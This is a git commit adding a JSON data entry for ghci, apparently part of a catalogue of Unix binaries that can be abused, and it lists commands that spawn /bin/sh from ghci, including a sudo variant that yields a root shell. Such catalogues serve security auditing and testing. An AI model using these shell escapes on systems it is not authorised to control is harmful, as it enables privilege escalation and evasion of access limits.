add data source for ghci

4 years ago · db2c72e536
parent 780e332421
commit db2c72e536
1 changed files with 14 additions and 0 deletions
--- a/data/ghci.json
+++ b/data/ghci.json
@ -0,0 +1,14 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "code": "ghci\nSystem.Process.callCommand \"/bin/sh\"\n"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "sudo ghci\nSystem.Process.callCommand \"/bin/sh\"\n"
+      }
+    ]
+  }
+}